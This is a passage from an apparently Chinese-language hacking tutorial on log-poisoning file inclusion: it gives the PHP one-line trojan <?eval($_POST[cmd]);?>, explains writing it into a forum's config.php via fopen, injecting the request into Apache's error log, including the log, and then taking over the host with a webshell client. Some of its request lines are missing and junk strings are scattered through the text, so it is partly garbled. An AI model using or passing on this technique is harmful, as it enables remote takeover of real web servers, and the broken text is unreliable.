因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 # y! H; f5 n6 F% J
7 Z* L& _( j7 T% B. e; y7 i8 w) `
比如还是这句一句话木马 1 `5 q( P; _$ q: n2 K
<?eval($_POST[cmd]);?>
# y5 Q1 o# a; x+ `8 X8 A# C$ h
' R$ ~" M; f3 j8 E7 d4 x; |到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
' I0 H5 h! z( O0 V& ^fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

fclose($fp);?> //在config.php里写入一句木马语句 , m" a7 Z* c' H) L
1 s, ^0 k" m: O# b( L我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 6 E& S' n; d' g" }& a2 A
转换为

我们提交

这样就错误日志里就记录下了这行写入webshell的代码。 4 ~4 n$ l7 p3 |) C4 \/ w
我们再来包含日志,提交

这样webshell就写入成功了,config.php里就写入一句木马语句 ( ]" O# x& X7 j+ G/ i9 R
OK. / n7 n9 {3 ~" p2 Z/ d
http://www.xxx.com/forum/config.php这个就成了我们的webshell ) a7 @( Y/ B9 x1 }
直接用lanker的客户端一连,主机就是你的了。

PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 # F$ B( n- h- k3 q9 g$ S

其他的日志路径,你可以去猜,也可以参照这里。 3 R* H- `$ t6 u$ l
